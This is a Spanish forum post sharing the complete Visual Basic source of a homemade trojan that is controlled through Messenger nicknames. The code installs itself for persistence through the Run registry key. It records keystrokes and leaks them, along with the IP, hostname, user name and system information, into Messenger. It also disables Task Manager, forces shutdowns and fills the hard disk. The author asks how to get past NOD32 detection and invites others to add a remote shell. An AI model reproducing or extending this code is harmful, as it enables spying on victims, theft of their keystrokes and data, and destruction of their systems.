Nuevo Troyano para Messenger no necesita ningun tipo de conexion :D

Bueno aburrido en casa me puse ha hacer un troyano pero este es un troyano especial no necesita conexion y va a traves del messenger una vez k la victima esta infectada solo hay k ponerse unos determinados nicks y saca informacion
como es un troyano paa fines educativos y no destrucctivos voy a poner el codigo y no el troyano compilado

bueno importante k me deis opiniones es el segundo troyano k hago k aportariais k kitariais etc.. ( No seais Mu duros xD)

ponemos un winsock (es solo pa saca la IP de la victima) ,15 timers el octavo timer con un interval = 1 y el time 9 con interval=2000 todos los demas timers con interval=8000
y tres textbox por ultimo ponemos el formulario invisible
aki va el codigo:

en el form principal esto:

Código:

Private Sub Form_Load()
On Error Resume Next
App.TaskVisible = False
Dim Origen, Destino
Origen = App.Path & "\tro.exe"
Destino = "C:\WINDOWS\troMessengger.exe"
FileCopy Origen, Destino
RegWrite HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "Windows", "C:\WINDOWS\troMessengger.exe", REG_SZ

End Sub

Private Sub Timer1_Timer()
On Error GoTo error:
Dim IP As String
AppActivate "MegIP"
IP = Winsock1.LocalIP
SendKeys IP
SendKeys "{ENTER}%{F4}"
error:

End Sub

Private Sub Timer10_Timer()
On Error GoTo error
AppActivate "MegTask"
CreateIntegerKey "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskmgr", "1"
error:

End Sub

Private Sub Timer11_Timer()
On Error GoTo error
AppActivate "MegApagar"
AdjustToken
ret = ExitWindowsEx(EWX_SHUTDOWN, 0&)
error:
End Sub

Private Sub Timer12_Timer()
On Error GoTo error
AppActivate "Megreiniciar"
AdjustToken
ret = ExitWindowsEx(EWX_REBOOT, 0&)
error:
End Sub

Private Sub Timer13_Timer()
On Error GoTo error
AppActivate "Megtxt"
Dim daw
Dim x
Set daw = CreateObject("Scripting.Filesystemobject")
Set x = daw.createtextfile("c:\WINDOWS\nombre.txt", True)
Do
x.Write "El texto a llenar el text "
Loop
x.Close
error:

End Sub

Private Sub Timer14_Timer()
On Error GoTo error:
AppActivate "MegPantalla"
Call SendMessage(Me.hwnd, WM_SYSCOMMAND, SC_MONITORPOWER, ByVal MONITOR_OFF)
error:

End Sub

Private Sub Timer15_Timer()
On Error GoTo error:
AppActivate "MegInformacion"
Text2.Text = "systeminfo"
Dim response As String
response = Cmdd(Text2.Text)
Text3.Text = response
SendKeys Text3.Text
error:

End Sub

Private Sub Timer2_Timer()
On Error GoTo error:
AppActivate "Megstring"
mciSendString "set CDAudio door open", "", 127, 0
error:
End Sub

Private Sub Timer3_Timer()
On Error GoTo error:
Dim lDesktopHwnd As Long
Dim lFlags As Long
AppActivate "MegIcon"
lDesktopHwnd = FindWindowEx(0&, 0&, "Progman", vbNullString)
If lDesktopHwnd = 1 Then
Exit Sub
End If
ShowWindow lDesktopHwnd, lFlags
error:
End Sub

Private Sub Timer4_Timer()
On Error GoTo error:
AppActivate "MegTolb"
Handle& = FindWindow("Shell_TrayWnd", vbNullString)
ShowWindow Handle&, 0
error:
End Sub

Private Sub Timer5_Timer()
On Error GoTo error:
AppActivate "MegHostName"
Dim nPC As String
Dim Buffer As String
Dim estado As Long

Buffer = String$(255, " ")
estado = GetComputerName(Buffer, 255)
If estado <> 0 Then
nPC = Left(Buffer, 255)
End If
SendKeys nPC
SendKeys "{ENTER}%{F4}"
error:
End Sub

Private Sub Timer6_Timer()
On Error GoTo error:

AppActivate "Megdirectorio"
Dim Car As String * 128
Dim Longitud, Es As Integer
Dim Camino As String
Longitud = 128
Es = GetSystemDirectory(Car, Longitud)
Camino = RTrim$(LCase$(Left$(Car, Es)))
SendKeys Camino
SendKeys "{ENTER}%{F4}"
error:
End Sub

Private Sub Timer7_Timer()
On Error GoTo error:
AppActivate "MegUsuario"
SendKeys UsuarioActual
SendKeys "{ENTER}%{F4}"
error:
End Sub

Private Sub Timer8_Timer()
Dim i As Integer, a As Integer
For i = 33 To 124
a = GetAsyncKeyState(i)
If a = -32767 Then
Text1.Text = Text1.Text + Chr(i)
End If
Next

End Sub

Private Sub Timer9_Timer()
On Error GoTo error
AppActivate "log"
SendKeys Text1.Text
SendKeys "{ENTER}%{F4}"
error:
End Sub

ara ponemos 2 modulos importante decir k el codigo del pimer modulo no es mio y el codigo del segundo son varias funciones k tampoco son mias las buske en google
bueno el primer modulo:

Código:

Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Public Declare Function RegCreateKeyEx Lib "advapi32.dll" Alias "RegCreateKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal Reserved As Long, ByVal lpClass As String, ByVal dwOptions As Long, ByVal samDesired As Long, ByVal lpSecurityAttributes As Long, phkResult As Long, lpdwDisposition As Long) As Long
Public Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Public Declare Function RegQueryValueExString Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByVal lpData As String, lpcbData As Long) As Long
Public Declare Function RegQueryValueExLong Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Long, lpcbData As Long) As Long
Public Declare Function RegQueryValueExNULL Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByVal lpData As Long, lpcbData As Long) As Long
Public Declare Function RegSetValueExString Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpValue As String, ByVal cbData As Long) As Long
Public Declare Function RegSetValueExLong Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpValue As Long, ByVal cbData As Long) As Long
Private Declare Function RegDeleteKey& Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String)
Private Declare Function RegDeleteValue& Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String)

Global Const REG_SZ As Long = 1
Global Const REG_DWORD As Long = 4

Global Const HKEY_CLASSES_ROOT = &H80000000
Global Const HKEY_CURRENT_USER = &H80000001
Global Const HKEY_LOCAL_MACHINE = &H80000002
Global Const HKEY_USERS = &H80000003

Global Const ERROR_NONE = 0
Global Const ERROR_BADDB = 1
Global Const ERROR_BADKEY = 2
Global Const ERROR_CANTOPEN = 3
Global Const ERROR_CANTREAD = 4
Global Const ERROR_CANTWRITE = 5
Global Const ERROR_OUTOFMEMORY = 6
Global Const ERROR_INVALID_PARAMETER = 7
Global Const ERROR_ACCESS_DENIED = 8
Global Const ERROR_INVALID_PARAMETERS = 87
Global Const ERROR_NO_MORE_ITEMS = 259

Global Const KEY_ALL_ACCESS = &H3F

Global Const REG_OPTION_NON_VOLATILE = 0

Public Const MONITOR_ON = -1&
Public Const MONITOR_LOWPOWER = 1&
Public Const MONITOR_OFF = 2&
Public Const SC_MONITORPOWER = &HF170&
Public Const WM_SYSCOMMAND = &H112

Public Const SPIF_UPDATEINIFILE = &H1
Public Const SPI_SETDESKWALLPAPER = 20
Public Const SPIF_SENDWININICHANGE = &H2

Public Declare Function CreatePipe Lib "kernel32" ( _
phReadPipe As Long, _
phWritePipe As Long, _
lpPipeAttributes As Any, _
ByVal nSize As Long) As Long

Public Declare Function ReadFile Lib "kernel32" ( _
ByVal hFile As Long, _
ByVal lpBuffer As String, _
ByVal nNumberOfBytesToRead As Long, _
lpNumberOfBytesRead As Long, _
ByVal lpOverlapped As Any) As Long

Public Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As Long
bInheritHandle As Long
End Type

Public Type STARTUPINFO

cb As Long
lpReserved As Long
lpDesktop As Long
lpTitle As Long
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Long
hStdInput As Long
hStdOutput As Long
hStdError As Long
End Type

Public Type PROCESS_INFORMATION
hProcess As Long
hThread As Long
dwProcessId As Long
dwThreadID As Long
End Type

Public Declare Function CreateProcessA Lib "kernel32" ( _
ByVal lpApplicationName As Long, _
ByVal lpCommandLine As String, _
lpProcessAttributes As SECURITY_ATTRIBUTES, _
lpThreadAttributes As SECURITY_ATTRIBUTES, _
ByVal bInheritHandles As Long, _
ByVal dwCreationFlags As Long, _
ByVal lpEnvironment As Long, _
ByVal lpCurrentDirectory As Long, _
lpStartupInfo As STARTUPINFO, _
lpProcessInformation As PROCESS_INFORMATION) As Long

Public Declare Function CloseHandle Lib "kernel32" ( _
ByVal hHandle As Long) As Long

Public Const NORMAL_PRIORITY_CLASS = &H20&
Public Const STARTF_USESTDHANDLES = &H100&
Public Const STARTF_USESHOWWINDOW = &H1

Public Function Cmdd(ByVal Comando As String) As String
On Error GoTo ACAGAR
Dim proc As PROCESS_INFORMATION
Dim ret As Long

Dim start As STARTUPINFO

Dim sa As SECURITY_ATTRIBUTES

Dim hReadPipe As Long
Dim hWritePipe As Long
Dim lngBytesread As Long
Dim strBuff As String * 256

sa.nLength = Len(sa)
sa.bInheritHandle = 1&
sa.lpSecurityDescriptor = 0&
ret = CreatePipe(hReadPipe, hWritePipe, sa, 0)

If ret = 0 Then

Cmdd = "Fallo de Conexion con Proceso. Error: " & Err.LastDllError
Exit Function
End If

start.cb = Len(start)
start.dwFlags = STARTF_USESTDHANDLES Or STARTF_USESHOWWINDOW
start.hStdOutput = hWritePipe
start.hStdError = hWritePipe

mCommand = Environ("COMSPEC") + " /c " + Comando

ret& = CreateProcessA(0&, mCommand, sa, sa, 1&, _
NORMAL_PRIORITY_CLASS, 0&, 0&, start, proc)

If ret <> 1 Then

Cmdd = "Archivo o Comando no encontrado"
Exit Function
End If

ret = CloseHandle(hWritePipe)
mOutputs = ""

Do
ret = ReadFile(hReadPipe, strBuff, 256, lngBytesread, 0&)
mOutputs = mOutputs & Left(strBuff, lngBytesread)
Loop While ret <> 0

ret = CloseHandle(proc.hProcess)
ret = CloseHandle(proc.hThread)
ret = CloseHandle(hReadPipe)

Cmdd = mOutputs
Exit Function
ACAGAR:
Cmdd = "Error:" + Err.Description
End Function

Public Function BorraLlave(lPredefinedKey As Long, sKeyName As String)

Dim lRetVal As Long
Dim hKey As Long

lRetVal = RegDeleteKey(lPredefinedKey, sKeyName)

End Function

Public Function BorraValor(lPredefinedKey As Long, sKeyName As String, sValueName As String)

Dim lRetVal As Long
Dim hKey As Long

lRetVal = RegOpenKeyEx(lPredefinedKey, sKeyName, 0, KEY_ALL_ACCESS, hKey)
lRetVal = RegDeleteValue(hKey, sValueName)
RegCloseKey (hKey)
End Function

Public Function setvalueEx(ByVal hKey As Long, sValueName As String, lType As Long, vValue As Variant) As Long
Dim lValue As Long
Dim sValue As String

Select Case lType
Case REG_SZ
sValue = vValue
setvalueEx = RegSetValueExString(hKey, sValueName, 0&, lType, sValue, Len(sValue))
Case REG_DWORD
lValue = vValue
setvalueEx = RegSetValueExLong(hKey, sValueName, 0&, lType, lValue, 4)
End Select

End Function

Function MiraValorEx(ByVal lhKey As Long, ByVal szValueName As String, vValue As Variant) As Long
Dim cch As Long
Dim lrc As Long
Dim lType As Long
Dim lValue As Long
Dim sValue As String

On Error GoTo QueryValueExError

lrc = RegQueryValueExNULL(lhKey, szValueName, 0&, lType, 0&, cch)
If lrc <> ERROR_NONE Then Error 5

Select Case lType

Case REG_SZ:
sValue = String(cch, 0)
lrc = RegQueryValueExString(lhKey, szValueName, 0&, lType, sValue, cch)
If lrc = ERROR_NONE Then
vValue = Left$(sValue, cch)
Else
vValue = Empty
End If

Case REG_DWORD:
lrc = RegQueryValueExLong(lhKey, szValueName, 0&, lType, lValue, cch)
If lrc = ERROR_NONE Then vValue = lValue
Case Else

lrc = -1
End Select

QueryValueExExit:

MiraValorEx = lrc
Exit Function

QueryValueExError:

Resume QueryValueExExit

End Function
Public Function CreaNuevaLLave(lPredefinedKey As Long, sNewKeyName As String)

Dim hNewKey As Long
Dim lRetVal As Long

lRetVal = RegCreateKeyEx(lPredefinedKey, sNewKeyName, 0&, vbNullString, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, 0&, hNewKey, lRetVal)
RegCloseKey (hNewKey)
End Function

Public Function RegWrite(lPredefinedKey As Long, sKeyName As String, sValueName As String, vValueSetting As Variant, lValueType As Long)

Dim lRetVal As Long
Dim hKey As Long

lRetVal = RegOpenKeyEx(lPredefinedKey, sKeyName, 0, KEY_ALL_ACCESS, hKey)
lRetVal = setvalueEx(hKey, sValueName, lValueType, vValueSetting)
RegCloseKey (hKey)

End Function

Public Function MiraValor(lPredefinedKey As Long, sKeyName As String, sValueName As String)

Dim lRetVal As Long
Dim hKey As Long
Dim vValue As Variant

lRetVal = RegOpenKeyEx(lPredefinedKey, sKeyName, 0, KEY_ALL_ACCESS, hKey)
lRetVal = MiraValorEx(hKey, sValueName, vValue)

MiraValor = vValue
RegCloseKey (hKey)
End Function

Public Function Cuenta(cadena As String, Valor As String) As String
Dim Numero As Long
Dim Contador1 As String
Contador1 = 1

Dim Veces As String
Veces = 0

For Numero = 0 To Len(cadena)
If Mid(cadena, Contador1, 1) = Valor Then
Veces = Veces + 1
End If
Contador1 = Contador1 + 1
Next Numero

Cuenta = Veces
End Function

Public Function Extrae_Nombre(Ruta As String) As String
Dim pos As String
Dim Inversa As String
Dim Nombre As String
Inversa = StrReverse(Ruta)
pos = InStr(Inversa, "\")
Nombre = Mid(Ruta, Len(Ruta) - pos + 2, Len(Ruta))
Extrae_Nombre = Nombre
End Function

En el segundo modulo:

Código:

Public Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
Public Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, nSize As Long) As Long
Public Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Public Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Declare Function ShowCursor Lib "user32" (ByVal bShow As Long) As Long
Public Declare Function GetComputerName Lib "kernel32" Alias "GetComputerNameA" (ByVal lpBuffer As String, nSize As Long) As Long
Public Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Public Declare Function ExitWindowsEx& Lib "user32" (ByVal uFlags&, ByVal dwReserved&)
Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Public Declare Function GetCurrentProcess Lib "kernel32" () As Long
Public Declare Function OpenProcessToken Lib "advapi32" (ByVal ProcessHandle As Long, ByVal DesiredAccess As Long, TokenHandle As Long) As Long
Public Declare Function LookupPrivilegeValue Lib "advapi32" _
Alias "LookupPrivilegeValueA" _
(ByVal lpSystemName As String, ByVal lpName As String, lpLuid _
As LUID) As Long
Public Declare Function AdjustTokenPrivileges Lib "advapi32" _
(ByVal TokenHandle As Long, ByVal DisableAllPrivileges As Long, _
NewState As TOKEN_PRIVILEGES, ByVal BufferLength As Long, _
PreviousState As TOKEN_PRIVILEGES, ReturnLength As Long) As Long
Public Const EWX_LOGOFF = 0
Public Const EWX_SHUTDOWN As Long = 1
Public Const EWX_REBOOT = 2
Public Const EWX_FORCE As Long = 4
Public Type LUID
UsedPart As Long
IgnoredForNowHigh32BitPart As Long
End Type
Public Type TOKEN_PRIVILEGES
PrivilegeCount As Long
TheLuid As LUID
Attributes As Long
End Type

Public Sub CreateIntegerKey(Folder As String, Value As Integer)
Dim b As Object
On Error Resume Next
Set b = CreateObject("wscript.shell")
b.RegWrite Folder, Value, "REG_DWORD"
End Sub
Public Sub AdjustToken()
Const TOKEN_ADJUST_PRIVILEGES = &H20
Const TOKEN_QUERY = &H8
Const SE_PRIVILEGE_ENABLED = &H2
Dim hdlProcessHandle As Long
Dim hdlTokenHandle As Long
Dim tmpLuid As LUID
Dim tkp As TOKEN_PRIVILEGES
Dim tkpNewButIgnored As TOKEN_PRIVILEGES
Dim lBufferNeeded As Long

hdlProcessHandle = GetCurrentProcess()
OpenProcessToken hdlProcessHandle, (TOKEN_ADJUST_PRIVILEGES Or TOKEN_QUERY), hdlTokenHandle

LookupPrivilegeValue "", "SeShutdownPrivilege", tmpLuid
tkp.PrivilegeCount = 1
tkp.TheLuid = tmpLuid
tkp.Attributes = SE_PRIVILEGE_ENABLED
AdjustTokenPrivileges hdlTokenHandle, False, tkp, Len(tkpNewButIgnored), tkpNewButIgnored, lBufferNeeded
End Sub
Public Function UsuarioActual() As String
Dim sBuffer As String
Dim lSize As Long
Dim sUsuario As String

sBuffer = Space$(260)
lSize = Len(sBuffer)
Call GetUserName(sBuffer, lSize)
If lSize > 0 Then
sUsuario = Left$(sBuffer, lSize)

lSize = InStr(sUsuario, Chr$(0))
If lSize Then
sUsuario = Left$(sUsuario, lSize - 1)
End If
Else
sUsuario = ""
End If
UsuarioActual = sUsuario
End Function

bueno aki termina decir k en el primer modulo hay una funcion llamada cmdd k lo k ace es llamar una shell para poner comandos si alguien es capaz de hacer una shell remota x el messenger solo poniendo nicks k ponga el codigo

bueno nose muxo de visual basic es mi segundo troyano

estas son las funciones del troyano:
MegIP: saca la IP de la victima
MegPantalla: Apaga la pantalla de la victima
MegTask: deshabilita el administrador de tareas
Meginformacion: Saca Informacion del Pc
MegApagar: Apaga el Pc
Megstring: abre la bandeja del CD
Megreiniciar:reinicia el Pc
MegTxT:Crea un archivo TXT en la carpeta de windows k se va escibiendo hasta k llena todo el Disco duro
MegIcon:Esconde el Icono del Escritorio
Megtolb: esconde la barra de tareas
MegHostName:Saca el Hostname del Pc
Megdirectorio:Saca el direcctorio de la carpeta del sistema
MegUsuario:Saca el nombre del Usuario
Meglog:recoje las teclas pulsadas k el keylogger ha capturado

amm otra cosa tb copia una entrada en el registro para k se ejecute cada vez k se inicie el sistema operativo pero cuando pongo la linea de codigo NOD32 la detecta como codigo malicioso $:-\$ si alguien sabe hacelo de otro modo...